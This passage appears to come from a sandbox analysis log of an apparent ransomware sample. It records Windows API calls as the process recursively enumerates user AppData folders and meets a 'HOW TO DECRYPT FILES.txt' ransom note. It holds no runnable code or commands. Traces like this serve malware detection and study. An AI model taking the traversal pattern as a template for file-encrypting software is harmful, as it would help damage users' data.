HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" [0087.088] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.089] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.089] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0087.089] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.089] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" [0087.090] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.090] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.090] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0087.090] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.090] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" [0087.090] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.090] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.091] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0087.091] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.091] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" [0087.091] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.091] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.091] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0087.091] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.091] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" [0087.091] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.091] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.092] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0087.092] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.092] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" [0087.092] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.092] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.092] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0087.092] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.092] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" [0087.092] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.092] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.092] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0087.093] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.093] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" [0087.093] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.093] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.093] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0087.093] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.093] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" [0087.093] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.093] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.093] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0087.093] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.094] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 0 [0087.094] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.094] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x355, cFileName="MetaData", cAlternateFileName="")) returned 0 [0087.094] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.094] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44303237, dwReserved1=0x30304330, cFileName="IME12", cAlternateFileName="")) returned 1 [0087.094] lstrcmpA (lpString1=".", lpString2="IME12") returned -1 [0087.094] lstrcmpA (lpString1="..", lpString2="IME12") returned -1 [0087.094] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*.*") returned="*.*" [0087.094] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x355, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.101] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.102] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.102] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.102] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.102] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.102] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.102] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x310045, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0087.102] lstrcmpA (lpString1=".", lpString2="IMJP12") returned -1 [0087.102] lstrcmpA (lpString1="..", lpString2="IMJP12") returned -1 [0087.102] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*.*") returned="*.*" [0087.102] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.103] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.103] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.103] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.103] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.103] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.103] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.103] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x50004a, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0087.103] lstrcmpA (lpString1=".", lpString2="IMJP8_1") returned -1 [0087.103] lstrcmpA (lpString1="..", lpString2="IMJP8_1") returned -1 [0087.104] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*.*") returned="*.*" [0087.104] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.104] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.104] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.104] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.104] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.104] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.104] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.105] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, 